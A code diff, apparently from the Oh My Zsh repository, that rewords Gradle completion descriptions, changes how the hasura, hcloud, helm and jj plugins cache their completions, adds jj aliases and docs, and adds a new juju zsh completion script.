'-Dorg.gradle.debug.host=[]:->argument-expected' \ '-Dorg.gradle.debug.host=[]:->argument-expected' \
'-Dorg.gradle.debug.port=[]:->argument-expected' \ '-Dorg.gradle.debug.port=[]:->argument-expected' \
'-Dorg.gradle.debug.server=[]:->argument-expected' \ '-Dorg.gradle.debug.server=[]:->argument-expected' \
'-Dorg.gradle.debug.suspend=[]:->argument-expected' \ '-Dorg.gradle.debug.suspend=[]:->argument-expected' \
'-Dorg.gradle.debug=[]:org.gradle.debug:(true false):->argument-expected' \ '-Dorg.gradle.debug=[]:org.gradle.debug:(true false):->argument-expected' \
'-Dorg.gradle.dependency.verification=[Configures the dependency verification mode. Values are 'strict', 'lenient' or 'off'.]:org.gradle.dependency.verification:(strict lenient off):->argument-expected' \ '-Dorg.gradle.dependency.verification=[Configures the dependency verification mode. Supported values are 'strict', 'lenient', or 'off'.]:org.gradle.dependency.verification:(strict lenient off):->argument-expected' \
'-Dorg.gradle.java.home=[]:org.gradle.java.home:_directories:->argument-expected' \ '-Dorg.gradle.java.home=[]:org.gradle.java.home:_directories:->argument-expected' \
'-Dorg.gradle.java.installations.auto-detect=[]:->argument-expected' \ '-Dorg.gradle.java.installations.auto-detect=[]:->argument-expected' \
'-Dorg.gradle.java.installations.auto-download=[]:->argument-expected' \ '-Dorg.gradle.java.installations.auto-download=[]:->argument-expected' \
@@ -415,73 +431,79 @@ _gradle() {
'-Dorg.gradle.logging.level=[]:org.gradle.logging.level:(quiet warn info debug):->argument-expected' \ '-Dorg.gradle.logging.level=[]:org.gradle.logging.level:(quiet warn info debug):->argument-expected' \
'-Dorg.gradle.logging.stacktrace=[]:->argument-expected' \ '-Dorg.gradle.logging.stacktrace=[]:->argument-expected' \
'-Dorg.gradle.native=[]:->argument-expected' \ '-Dorg.gradle.native=[]:->argument-expected' \
'-Dorg.gradle.parallel=[Build projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]:org.gradle.parallel:(true false):->argument-expected' \ '-Dorg.gradle.parallel=[Builds projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]:org.gradle.parallel:(true false):->argument-expected' \
'-Dorg.gradle.priority=[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Values are 'normal' (default) or 'low']:org.gradle.priority:(normal low):->argument-expected' \ '-Dorg.gradle.priority=[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Supported values are 'normal' (default) or 'low'.]:org.gradle.priority:(normal low):->argument-expected' \
'-Dorg.gradle.problems.report=[(Experimental) enables HTML problems report]:->argument-expected' \ '-Dorg.gradle.problems.report=[Enables the HTML problems report.]:->argument-expected' \
'-Dorg.gradle.projectcachedir=[Specify the project-specific cache directory. Defaults to .gradle in the root project directory.]:org.gradle.projectcachedir:_directories:->argument-expected' \ '-Dorg.gradle.projectcachedir=[Specifies the project-specific cache directory. Default is .gradle in the root project directory.]:org.gradle.projectcachedir:_directories:->argument-expected' \
'-Dorg.gradle.tooling.parallel=[]:->argument-expected' \
'-Dorg.gradle.unsafe.isolated-projects.diagnostics=[]:->argument-expected' \
'-Dorg.gradle.unsafe.isolated-projects=[]:->argument-expected' \ '-Dorg.gradle.unsafe.isolated-projects=[]:->argument-expected' \
'-Dorg.gradle.vfs.verbose=[]:->argument-expected' \ '-Dorg.gradle.vfs.verbose=[]:->argument-expected' \
'-Dorg.gradle.vfs.watch=[Enables watching the file system for changes, allowing data about the file system to be re-used for the next build.]:org.gradle.vfs.watch:(true false):->argument-expected' \ '-Dorg.gradle.vfs.watch=[Enables file system watching. Reuses file system data for subsequent builds.]:org.gradle.vfs.watch:(true false):->argument-expected' \
'-Dorg.gradle.warning.mode=[Specifies which mode of warnings to generate. Values are 'all', 'fail', 'summary'(default) or 'none']:->argument-expected' \ '-Dorg.gradle.warning.mode=[Specifies which mode of warnings to generate. Supported values are 'all', 'fail', 'summary' (default), or 'none'.]:->argument-expected' \
'-Dorg.gradle.welcome=[]:org.gradle.welcome:(once never):->argument-expected' \ '-Dorg.gradle.welcome=[]:org.gradle.welcome:(once never):->argument-expected' \
'-Dorg.gradle.workers.max=[Configure the number of concurrent workers Gradle is allowed to use.]:->argument-expected' \ '-Dorg.gradle.workers.max=[Configures the maximum number of concurrent workers Gradle is allowed to use.]:->argument-expected' \
(--no-build-cache)'--build-cache[Enables the Gradle build cache. Gradle will try to reuse outputs from previous builds.]' \ (--no-build-cache)'--build-cache[Enables the Gradle build cache. Gradle will try to reuse outputs from previous builds.]' \
(--no-configuration-cache)'--configuration-cache[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]' \ (--no-configuration-cache)'--configuration-cache[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]' \
'--configuration-cache-problems[Configures how the configuration cache handles problems (fail or warn). Defaults to fail.]:configuration cache problems:(fail warn):->argument-expected' \ '--configuration-cache-problems[Configures how the configuration cache handles problems (fail or warn). Supported values are 'warn', or 'fail' (default).]:configuration cache problems:(fail warn):->argument-expected' \
(--no-configure-on-demand)'--configure-on-demand[Configure necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds. (incubating)]' \ (--no-configure-on-demand)'--configure-on-demand[Configures necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds. (incubating)]' \
'--console[Specifies which type of console output to generate. Values are 'plain', 'colored', 'auto' (default), 'rich' or 'verbose'.]:console:(plain auto rich verbose):->argument-expected' \ '--console[Specifies which type of console output to generate. Supported values are 'plain', 'colored', 'auto' (default), 'rich', or 'verbose'.]:console:(plain auto rich verbose):->argument-expected' \
(--no-continue)'--continue[Continue task execution after a task failure.]' \ '--console-unicode[Specifies which character types are allowed in the console output. Supported values are 'auto' (default), 'disable', or 'enable'.]:->argument-expected' \
(--no-continue)'--continue[Continues task execution after a task failure.]' \
{-t,--continuous}'[Enables continuous build. Gradle does not exit and will re-execute tasks when task file inputs change.]' \ {-t,--continuous}'[Enables continuous build. Gradle does not exit and will re-execute tasks when task file inputs change.]' \
(--no-daemon)'--daemon[Uses the Gradle daemon to run the build. Starts the daemon if not running.]' \ (--no-daemon)'--daemon[Uses the Gradle daemon to run the build. Starts the daemon if it is not running.]' \
(--quiet,-q,--warn,-w,--info,-i){-d,--debug}'[Log in debug mode (includes normal stacktrace).]' \ (--quiet,-q,--warn,-w,--info,-i){-d,--debug}'[Sets log level to debug. Includes the normal stacktrace.]' \
{-F,--dependency-verification}'[Configures the dependency verification mode. Values are 'strict', 'lenient' or 'off'.]:dependency verification:(strict lenient off):->argument-expected' \ {-F,--dependency-verification}'[Configures the dependency verification mode. Supported values are 'strict', 'lenient', or 'off'.]:dependency verification:(strict lenient off):->argument-expected' \
{-m,--dry-run}'[Run the builds with all task actions disabled.]' \ '--develocity-plugin-version[Version of the Develocity plugin to auto-apply, must be 4.4.0 or higher if Develocity URL is specified as well.]:->argument-expected' \
\*{-x,--exclude-task}'[Specify a task to be excluded from execution.]' \ '--develocity-url[Default URL of the Develocity server to publish Build Scan to. Triggers auto-application of the Develocity plugin if not already applied.]:->argument-expected' \
{-m,--dry-run}'[Runs the build with all task actions disabled.]' \
\*{-x,--exclude-task}'[Specifies a task to exclude from execution.]' \
'--export-keys[Exports the public keys used for dependency verification.]' \ '--export-keys[Exports the public keys used for dependency verification.]' \
'--foreground[Starts the Gradle daemon in the foreground.]' \ '--foreground[Starts the Gradle daemon in the foreground.]' \
(--stacktrace,-s){-S,--full-stacktrace}'[Print out the full (very verbose) stacktrace for all exceptions.]' \ (--stacktrace,-s){-S,--full-stacktrace}'[Prints the full (very verbose) stacktrace for all exceptions.]' \
{-g,--gradle-user-home}'[Specifies the Gradle user home directory. Defaults to ~/.gradle]:gradle user home:_directories:->argument-expected' \ {-g,--gradle-user-home}'[Specifies the Gradle user home directory. Default is ~/.gradle.]:gradle user home:_directories:->argument-expected' \
{-h,--help}'[Shows a help message.]' \ {-h,--help}'[Shows a help message.]' \
\*'--include-build[Include the specified build in the composite.]:include build:_directories:->argument-expected' \ \*'--include-build[Includes the specified build in the composite.]:include build:_directories:->argument-expected' \
(--quiet,-q,--warn,-w,--debug,-d){-i,--info}'[Set log level to info.]' \ (--quiet,-q,--warn,-w,--debug,-d){-i,--info}'[Sets the log level to info.]' \
\*{-I,--init-script}'[Specify an initialization script.]:init script:_files -g \*.gradle(|.kts):->argument-expected' \ \*{-I,--init-script}'[Specifies an initialization script.]:init script:_files -g \*.gradle(|.kts):->argument-expected' \
'--max-workers[Configure the number of concurrent workers Gradle is allowed to use.]:->argument-expected' \ '--max-workers[Configures the maximum number of concurrent workers Gradle is allowed to use.]:->argument-expected' \
(--build-cache)'--no-build-cache[Disables the Gradle build cache.]' \ (--build-cache)'--no-build-cache[Disables the Gradle build cache.]' \
(--configuration-cache)'--no-configuration-cache[Disables the configuration cache.]' \ (--configuration-cache)'--no-configuration-cache[Disables the configuration cache.]' \
(--configure-on-demand)'--no-configure-on-demand[Disables the use of configuration on demand. (incubating)]' \ (--configure-on-demand)'--no-configure-on-demand[Disables the use of configuration on demand. (incubating)]' \
(--continue)'--no-continue[Stop task execution after a task failure.]' \ (--continue)'--no-continue[Stops task execution after a task failure.]' \
(--daemon)'--no-daemon[Do not use the Gradle daemon to run the build. Useful occasionally if you have configured Gradle to always run with the daemon by default.]' \ (--daemon)'--no-daemon[Runs the build without the Gradle daemon. Useful occasionally if you have configured Gradle to always run with the daemon by default.]' \
(--parallel)'--no-parallel[Disables parallel execution to build projects.]' \ (--parallel)'--no-parallel[Disables parallel project execution.]' \
(--problems-report)'--no-problems-report[(Experimental) disables HTML problems report]' \ (--problems-report)'--no-problems-report[Disables the HTML problems report. (incubating)]' \
{-a,--no-rebuild}'[Do not rebuild project dependencies.]' \ {-a,--no-rebuild}'[Disables rebuilding of project dependencies.]' \
(--scan)'--no-scan[Disables the creation of a Build Scan.]' \ (--scan)'--no-scan[Disables the creation of a Build Scan.]' \
(--watch-fs)'--no-watch-fs[Disables watching the file system.]' \ (--watch-fs)'--no-watch-fs[Disables file system watching.]' \
'--offline[Execute the build without accessing network resources.]' \ '--non-interactive[Do not do interactive prompting. (incubating)]' \
(--no-parallel)'--parallel[Build projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]' \ '--offline[Runs the build without accessing network resources.]' \
'--priority[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Values are 'normal' (default) or 'low']:->argument-expected' \ (--no-parallel)'--parallel[Builds projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]' \
(--no-problems-report)'--problems-report[(Experimental) enables HTML problems report]' \ '--priority[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Supported values are 'normal' (default) or 'low'.]:->argument-expected' \
'--profile[Profile build execution time and generates a report in the <build_dir>/reports/profile directory.]' \ (--no-problems-report)'--problems-report[Enables the HTML problems report. (incubating)]' \
'--project-cache-dir[Specify the project-specific cache directory. Defaults to .gradle in the root project directory.]:project cache dir:_directories:->argument-expected' \ '--profile[Profiles build execution time. Generates a report in the <build_dir>/reports/profile directory.]' \
{-p,--project-dir}'[Specifies the start directory for Gradle. Defaults to current directory.]:project dir:_directories:->argument-expected' \ '--project-cache-dir[Specifies the project-specific cache directory. Default is .gradle in the root project directory.]:project cache dir:_directories:->argument-expected' \
'--property-upgrade-report[(Experimental) Runs build with experimental property upgrade report.]' \ {-p,--project-dir}'[Specifies the start directory for Gradle. Default is the current directory.]:project dir:_directories:->argument-expected' \
(--warn,-w,--info,-i,--debug,-d){-q,--quiet}'[Log errors only.]' \ '--property-upgrade-report[Runs the build with the experimental property upgrade report. (incubating)]' \
{-U,--refresh-dependencies}'[Refresh the state of dependencies.]' \ (--warn,-w,--info,-i,--debug,-d){-q,--quiet}'[Logs errors only.]' \
'--refresh-keys[Refresh the public keys used for dependency verification.]' \ {-U,--refresh-dependencies}'[Refreshes the state of dependencies.]' \
'--refresh-keys[Refreshes the public keys used for dependency verification.]' \
'--rerun[Causes the task to be re-run even if up-to-date.]' \ '--rerun[Causes the task to be re-run even if up-to-date.]' \
'--rerun-tasks[Ignore previously cached task results.]' \ '--rerun-tasks[Ignores previously cached task results.]' \
(--no-scan)'--scan[Generate a Build Scan (powered by Develocity).]' \ (--no-scan)'--scan[Generates a Build Scan (powered by Develocity).]' \
{-V,--show-version}'[Print version info and continue.]' \ {-V,--show-version}'[Print version info and continue.]' \
(--full-stacktrace,-S){-s,--stacktrace}'[Print out the stacktrace for all exceptions.]' \ (--full-stacktrace,-S){-s,--stacktrace}'[Prints the stacktrace for all exceptions.]' \
'--status[Shows status of running and recently stopped Gradle daemon(s).]' \ '--status[Shows the status of running and recently stopped Gradle daemons.]' \
'--stop[Stops the Gradle daemon if it is running.]' \ '--stop[Stops the Gradle daemon if it is running.]' \
'--task-graph[(Experimental) Print task graph instead of executing tasks.]' \ '--task-graph[Prints the task graph instead of executing tasks.]' \
\*'--update-locks[Perform a partial update of the dependency lock, letting passed in module notations change version. (incubating)]' \ \*'--update-locks[Performs a partial update of the dependency lock. Allows passed-in module notations to change version. (incubating)]' \
{-v,--version}'[Print version info and exit.]' \ {-v,--version}'[Print version info and exit.]' \
(--quiet,-q,--info,-i,--debug,-d){-w,--warn}'[Set log level to warn.]' \ (--quiet,-q,--info,-i,--debug,-d){-w,--warn}'[Sets the log level to warn.]' \
'--warning-mode[Specifies which mode of warnings to generate. Values are 'all', 'fail', 'summary'(default) or 'none']:warning mode:(all summary none):->argument-expected' \ '--warning-mode[Specifies which mode of warnings to generate. Supported values are 'all', 'fail', 'summary' (default), or 'none'.]:warning mode:(all summary none):->argument-expected' \
(--no-watch-fs)'--watch-fs[Enables watching the file system for changes, allowing data about the file system to be re-used for the next build.]' \ (--no-watch-fs)'--watch-fs[Enables file system watching. Reuses file system data for subsequent builds.]' \
'--write-locks[Persists dependency resolution for locked configurations, ignoring existing locking information if it exists]' \ '--write-locks[Persists dependency resolution for locked configurations. Ignores existing locking information if it exists.]' \
{-M,--write-verification-metadata}'[Generates checksums for dependencies used in the project (comma-separated list)]:->argument-expected' \ {-M,--write-verification-metadata}'[Generates checksums for dependencies used in the project. Accepts a comma-separated list.]:->argument-expected' \
'(-)*:: :->task-or-option' && ret=0 '(-)*:: :->task-or-option' && ret=0
if [[ $words[CURRENT] != -* && $state != "argument-expected" ]]; then if [[ $words[CURRENT] != -* && $state != "argument-expected" ]]; then
+1 -1
View File
@@ -23,7 +23,7 @@
# #
# Enable caching: # Enable caching:
# #
# If you want to use the cache, set the followings in your .zshrc: # If you want to use the cache, set the following in your .zshrc:
# #
# zstyle ':completion:*' use-cache yes # zstyle ':completion:*' use-cache yes
# #
+5 -1
View File
@@ -9,5 +9,9 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_hasura" ]]; then
source "$ZSH_CACHE_DIR/completions/_hasura" source "$ZSH_CACHE_DIR/completions/_hasura"
else else
source "$ZSH_CACHE_DIR/completions/_hasura" source "$ZSH_CACHE_DIR/completions/_hasura"
hasura completion zsh --file "$ZSH_CACHE_DIR/completions/_hasura" >/dev/null &| zmodload -F zsh/files b:zf_mv
() {
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_hasura"
zf_mv -f -- =( hasura completion zsh ) "$TMPPREFIX"
} &|
fi fi
+5 -1
View File
@@ -13,7 +13,11 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_hcloud" ]]; then
_comps[hcloud]=_hcloud _comps[hcloud]=_hcloud
fi fi
hcloud completion zsh 2> /dev/null >| "$ZSH_CACHE_DIR/completions/_hcloud" &| zmodload -F zsh/files b:zf_mv
() {
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_hcloud"
zf_mv -f -- =( hcloud completion zsh 2> /dev/null ) "$TMPPREFIX"
} &|
# Main alias # Main alias
alias hc='hcloud' alias hc='hcloud'
+5 -1
View File
@@ -9,7 +9,11 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_helm" ]]; then
source "$ZSH_CACHE_DIR/completions/_helm" source "$ZSH_CACHE_DIR/completions/_helm"
else else
source "$ZSH_CACHE_DIR/completions/_helm" source "$ZSH_CACHE_DIR/completions/_helm"
helm completion zsh | tee "$ZSH_CACHE_DIR/completions/_helm" >/dev/null &| zmodload -F zsh/files b:zf_mv
() {
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_helm"
zf_mv -f -- =( helm completion zsh ) "$TMPPREFIX"
} &|
fi fi
alias h='helm' alias h='helm'
+1 -1
View File
@@ -79,7 +79,7 @@ Using [Zinit](https://github.com/zdharma-continuum/zinit):
2. Load the plugin in `~/.zshrc`: 2. Load the plugin in `~/.zshrc`:
zinit load 'zsh-users/zsh-history-substring-search zinit load 'zsh-users/zsh-history-substring-search'
zinit ice wait atload'_history_substring_search_config' zinit ice wait atload'_history_substring_search_config'
3. Run `exec zsh` to take changes into account: 3. Run `exec zsh` to take changes into account:
@@ -3,6 +3,13 @@
0="${${ZERO:-${0:#$ZSH_ARGZERO}}:-${(%):-%N}}" 0="${${ZERO:-${0:#$ZSH_ARGZERO}}:-${(%):-%N}}"
0="${${(M)0:#/*}:-$PWD/$0}" 0="${${(M)0:#/*}:-$PWD/$0}"
# Respect case sensitivity settings for globbing in history search
if [[ "$CASE_SENSITIVE" = true ]]; then
: ${HISTORY_SUBSTRING_SEARCH_GLOBBING_FLAGS=''}
else
: ${HISTORY_SUBSTRING_SEARCH_GLOBBING_FLAGS='i'}
fi
source ${0:A:h}/history-substring-search.zsh source ${0:A:h}/history-substring-search.zsh
@@ -45,14 +45,7 @@
: ${HISTORY_SUBSTRING_SEARCH_HIGHLIGHT_FOUND='bg=magenta,fg=white,bold'} : ${HISTORY_SUBSTRING_SEARCH_HIGHLIGHT_FOUND='bg=magenta,fg=white,bold'}
: ${HISTORY_SUBSTRING_SEARCH_HIGHLIGHT_NOT_FOUND='bg=red,fg=white,bold'} : ${HISTORY_SUBSTRING_SEARCH_HIGHLIGHT_NOT_FOUND='bg=red,fg=white,bold'}
# Respect CASE_SENSITIVE setting for case sensitivity
if [[ "$CASE_SENSITIVE" = true ]]; then
: ${HISTORY_SUBSTRING_SEARCH_GLOBBING_FLAGS=''}
else
: ${HISTORY_SUBSTRING_SEARCH_GLOBBING_FLAGS='i'} : ${HISTORY_SUBSTRING_SEARCH_GLOBBING_FLAGS='i'}
fi
: ${HISTORY_SUBSTRING_SEARCH_ENSURE_UNIQUE=''} : ${HISTORY_SUBSTRING_SEARCH_ENSURE_UNIQUE=''}
: ${HISTORY_SUBSTRING_SEARCH_FUZZY=''} : ${HISTORY_SUBSTRING_SEARCH_FUZZY=''}
: ${HISTORY_SUBSTRING_SEARCH_PREFIXED=''} : ${HISTORY_SUBSTRING_SEARCH_PREFIXED=''}
+39
View File
@@ -14,39 +14,59 @@ plugins=(... jj)
| ------ | ----------------------------- | | ------ | ----------------------------- |
| jja | `jj abandon` | | jja | `jj abandon` |
| jjb | `jj bookmark` | | jjb | `jj bookmark` |
| jjba | `jj bookmark advance` |
| jjbc | `jj bookmark create` | | jjbc | `jj bookmark create` |
| jjbd | `jj bookmark delete` | | jjbd | `jj bookmark delete` |
| jjbf | `jj bookmark forget` | | jjbf | `jj bookmark forget` |
| jjbl | `jj bookmark list` | | jjbl | `jj bookmark list` |
| jjblt | `jj bookmark list --tracked` |
| jjbm | `jj bookmark move` | | jjbm | `jj bookmark move` |
| jjbr | `jj bookmark rename` | | jjbr | `jj bookmark rename` |
| jjbs | `jj bookmark set` | | jjbs | `jj bookmark set` |
| jjbt | `jj bookmark track` | | jjbt | `jj bookmark track` |
| jjbu | `jj bookmark untrack` | | jjbu | `jj bookmark untrack` |
| jjc | `jj commit` | | jjc | `jj commit` |
| jjcfg | `jj config` |
| jjcfgl | `jj config list` |
| jjcmsg | `jj commit --message` | | jjcmsg | `jj commit --message` |
| jjd | `jj diff` | | jjd | `jj diff` |
| jjdmsg | `jj desc --message` | | jjdmsg | `jj desc --message` |
| jjds | `jj desc` | | jjds | `jj desc` |
| jjdst | `jj diff --stat` |
| jje | `jj edit` | | jje | `jj edit` |
| jjev | `jj evolog` |
| jjf | `jj file` |
| jjfl | `jj file list` |
| jjg | `jj git` |
| jjgcl | `jj git clone` | | jjgcl | `jj git clone` |
| jjgf | `jj git fetch` | | jjgf | `jj git fetch` |
| jjgfa | `jj git fetch --all-remotes` | | jjgfa | `jj git fetch --all-remotes` |
| jjgi | `jj git init` |
| jjgp | `jj git push` | | jjgp | `jj git push` |
| jjgpa | `jj git push --all` | | jjgpa | `jj git push --all` |
| jjgpd | `jj git push --deleted` | | jjgpd | `jj git push --deleted` |
| jjgpt | `jj git push --tracked` | | jjgpt | `jj git push --tracked` |
| jjgrl | `jj git remote list` |
| jjl | `jj log` | | jjl | `jj log` |
| jjla | `jj log -r "all()"` | | jjla | `jj log -r "all()"` |
| jjn | `jj new` | | jjn | `jj new` |
| jjnt | `jj new "trunk()"` | | jjnt | `jj new "trunk()"` |
| jjop | `jj op` |
| jjopl | `jj op log` |
| jjor | `jj op restore` |
| jjrb | `jj rebase` | | jjrb | `jj rebase` |
| jjrbm | `jj rebase -d "trunk()"` | | jjrbm | `jj rebase -d "trunk()"` |
| jjrs | `jj restore` | | jjrs | `jj restore` |
| jjrt | `cd "$(jj root \|\| echo .)"` | | jjrt | `cd "$(jj root \|\| echo .)"` |
| jjs | `jj show` |
| jjsp | `jj split` | | jjsp | `jj split` |
| jjsq | `jj squash` | | jjsq | `jj squash` |
| jjst | `jj status` | | jjst | `jj status` |
| jju | `jj undo` |
| jjw | `jj workspace` |
| jjwa | `jj workspace add` |
| jjwf | `jj workspace forget` |
| jjwl | `jj workspace list` |
## Prompt usage ## Prompt usage
@@ -98,6 +118,25 @@ If you prefer to keep your prompt always up-to-date but still don't want to _fee
your prompt asynchronous. This plugin doesn't do this automatically so you'd have to hack your theme a bit for your prompt asynchronous. This plugin doesn't do this automatically so you'd have to hack your theme a bit for
that. that.
### Git async-prompt compatibility
If you use a wrapper function that calls `git_prompt_info` (as shown above), it won't work with
the default git async-prompt mode. This is because async-prompt only registers its background worker
when it detects `$(git_prompt_info)` literally in your prompt variables. A wrapper like
`$(_my_theme_vcs_info)` won't match, so the async output stays empty.
To fix this, add one of the following to your `.zshrc` **before** Oh My Zsh is sourced:
```zsh
# Option 1: force async handlers to always register (recommended, keeps async behavior)
zstyle ':omz:alpha:lib:git' async-prompt force
# Option 2: disable async-prompt entirely (simpler, but prompt may feel slower in large repos)
zstyle ':omz:alpha:lib:git' async-prompt no
```
See [#13555](https://github.com/ohmyzsh/ohmyzsh/issues/13555) for details.
## See Also ## See Also
- [martinvonz/jj](https://github.com/martinvonz/jj) - [martinvonz/jj](https://github.com/martinvonz/jj)
+25 -1
View File
@@ -11,7 +11,11 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_jj" ]]; then
_comps[jj]=_jj _comps[jj]=_jj
fi fi
COMPLETE=zsh jj >| "$ZSH_CACHE_DIR/completions/_jj" &| zmodload -F zsh/files b:zf_mv
() {
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_jj"
zf_mv -f -- =( COMPLETE=zsh jj ) "$TMPPREFIX"
} &|
function __jj_prompt_jj() { function __jj_prompt_jj() {
local -a flags local -a flags
@@ -36,36 +40,56 @@ function jj_prompt_template() {
# Aliases (sorted alphabetically) # Aliases (sorted alphabetically)
alias jja='jj abandon' alias jja='jj abandon'
alias jjb='jj bookmark' alias jjb='jj bookmark'
alias jjba='jj bookmark advance'
alias jjbc='jj bookmark create' alias jjbc='jj bookmark create'
alias jjbd='jj bookmark delete' alias jjbd='jj bookmark delete'
alias jjbf='jj bookmark forget' alias jjbf='jj bookmark forget'
alias jjbl='jj bookmark list' alias jjbl='jj bookmark list'
alias jjblt='jj bookmark list --tracked'
alias jjbm='jj bookmark move' alias jjbm='jj bookmark move'
alias jjbr='jj bookmark rename' alias jjbr='jj bookmark rename'
alias jjbs='jj bookmark set' alias jjbs='jj bookmark set'
alias jjbt='jj bookmark track' alias jjbt='jj bookmark track'
alias jjbu='jj bookmark untrack' alias jjbu='jj bookmark untrack'
alias jjc='jj commit' alias jjc='jj commit'
alias jjcfg='jj config'
alias jjcfgl='jj config list'
alias jjcmsg='jj commit --message' alias jjcmsg='jj commit --message'
alias jjd='jj diff' alias jjd='jj diff'
alias jjdmsg='jj desc --message' alias jjdmsg='jj desc --message'
alias jjds='jj desc' alias jjds='jj desc'
alias jjdst='jj diff --stat'
alias jje='jj edit' alias jje='jj edit'
alias jjev='jj evolog'
alias jjf='jj file'
alias jjfl='jj file list'
alias jjg='jj git'
alias jjgcl='jj git clone' alias jjgcl='jj git clone'
alias jjgf='jj git fetch' alias jjgf='jj git fetch'
alias jjgfa='jj git fetch --all-remotes' alias jjgfa='jj git fetch --all-remotes'
alias jjgi='jj git init'
alias jjgp='jj git push' alias jjgp='jj git push'
alias jjgpa='jj git push --all' alias jjgpa='jj git push --all'
alias jjgpd='jj git push --deleted' alias jjgpd='jj git push --deleted'
alias jjgpt='jj git push --tracked' alias jjgpt='jj git push --tracked'
alias jjgrl='jj git remote list'
alias jjl='jj log' alias jjl='jj log'
alias jjla='jj log -r "all()"' alias jjla='jj log -r "all()"'
alias jjn='jj new' alias jjn='jj new'
alias jjnt='jj new "trunk()"' alias jjnt='jj new "trunk()"'
alias jjop='jj op'
alias jjopl='jj op log'
alias jjor='jj op restore'
alias jjrb='jj rebase' alias jjrb='jj rebase'
alias jjrbm='jj rebase -d "trunk()"' alias jjrbm='jj rebase -d "trunk()"'
alias jjrs='jj restore' alias jjrs='jj restore'
alias jjrt='cd "$(jj root || echo .)"' alias jjrt='cd "$(jj root || echo .)"'
alias jjs='jj show'
alias jjsp='jj split' alias jjsp='jj split'
alias jjsq='jj squash' alias jjsq='jj squash'
alias jjst='jj status' alias jjst='jj status'
alias jju='jj undo'
alias jjw='jj workspace'
alias jjwa='jj workspace add'
alias jjwf='jj workspace forget'
alias jjwl='jj workspace list'
+231
View File
@@ -0,0 +1,231 @@
#compdef juju
(( $+functions[compdef] )) && compdef _juju juju
# zsh completion for juju -*- shell-script -*-
__juju_debug()
{
local file="$BASH_COMP_DEBUG_FILE"
if [[ -n ${file} ]]; then
echo "$*" >> "${file}"
fi
}
__juju_help_options()
{
local out line token cleaned desc f
local -a opts pending
typeset -U opts
__juju_debug "[options] called with args: $*"
out=$(command juju help "$@" 2>/dev/null)
local rc=$?
__juju_debug "[options] juju help exit code: $rc, output length: ${#out}"
(( rc )) && return 1
while IFS= read -r line; do
if [[ "$line" =~ '^[[:space:]]{0,3}-' ]]; then
for f in "${pending[@]}"; do opts+=("$f"); done
pending=()
for token in ${(z)line}; do
cleaned="${token%%,*}"
cleaned="${cleaned%%;*}"
cleaned="${cleaned%%]*}"
cleaned="${cleaned%%)*}"
cleaned="${cleaned%%=<*}"
cleaned="${cleaned%%=*}"
cleaned="${cleaned%%<*}"
cleaned="${cleaned%%\[*}"
cleaned="${cleaned%%\(*}"
[[ "$cleaned" == --* || "$cleaned" == -[[:alnum:]] ]] || continue
[[ "$cleaned" == "-" || "$cleaned" == "--" ]] && continue
__juju_debug "[options] found flag: $cleaned"
pending+=("$cleaned")
done
elif (( ${#pending} )) && [[ -n "$line" ]]; then
desc="${line#"${line%%[![:space:]]*}"}"
desc="${desc//:/\\:}"
__juju_debug "[options] desc for ${pending[*]}: $desc"
for f in "${pending[@]}"; do opts+=("${f}:${desc}"); done
pending=()
elif [[ -z "$line" ]]; then
for f in "${pending[@]}"; do opts+=("$f"); done
pending=()
fi
done < <(printf "%s\n" "$out")
for f in "${pending[@]}"; do opts+=("$f"); done
__juju_debug "[options] total opts: ${#opts}, first few: ${opts[1]} ${opts[2]} ${opts[3]}"
printf "%s\n" "${opts[@]}"
}
__juju_help_commands()
{
local line cmd desc out
out=$(command juju help commands 2>/dev/null) || return 1
while IFS= read -r line; do
# Strip leading whitespace
line="${line#"${line%%[![:space:]]*}"}"
# Only process lines starting with an alphanumeric (command names)
[[ "$line" =~ '^[[:alnum:]]' ]] || continue
# Split on the first run of 2+ spaces: left = cmd, right = description
cmd="${line%% *}"
# Validate it's a clean command token (no spaces, only alnum and dash)
[[ "$cmd" =~ '^[[:alnum:]][[:alnum:]-]*$' ]] || continue
desc="${line#"$cmd"}"
desc="${desc#"${desc%%[![:space:]]*}"}"
if [[ -n "$desc" ]]; then
printf "%s:%s\n" "$cmd" "$desc"
else
printf "%s\n" "$cmd"
fi
done <<< "$out"
}
__juju_models()
{
# Optional argument: controller name. If given, fetch models for that controller.
if [[ -n "$1" ]]; then
command juju models -c "$1" --format=json 2>/dev/null \
| command jq -r '.models[]."short-name"' 2>/dev/null
else
command juju models --format=json 2>/dev/null \
| command jq -r '.models[]."short-name"' 2>/dev/null
fi
}
# Complete a model token that may be prefixed with "controller:" — if a colon is
# present, fetch models for that controller and offer "ctrl:model" completions.
__juju_complete_model()
{
local current="$1"
local -a completions
__juju_debug "[complete_model] current='${current}'"
if [[ "$current" == *:* ]]; then
local ctrl="${current%%:*}"
local models
models=("${(@f)$(__juju_models "$ctrl")}")
completions=("${models[@]/#/${ctrl}:}")
__juju_debug "[complete_model] ctrl=${ctrl} completions=${#completions}: ${completions[*]}"
compadd -S '' -q -- "${completions[@]}"
else
local -a models ctrls
models=("${(@f)$(__juju_models)}")
ctrls=("${(@f)$(__juju_controllers)}")
__juju_debug "[complete_model] models=${#models}: ${models[*]}"
__juju_debug "[complete_model] ctrls=${#ctrls}: ${ctrls[*]}"
__juju_debug "[complete_model] calling _alternative"
_alternative \
'models:models:{__juju_debug "[complete_model] compadd models"; compadd "$expl[@]" -a models}' \
'controllers:controllers:{__juju_debug "[complete_model] compadd ctrls"; compadd "$expl[@]" -S : -q -a ctrls}'
__juju_debug "[complete_model] _alternative returned $?"
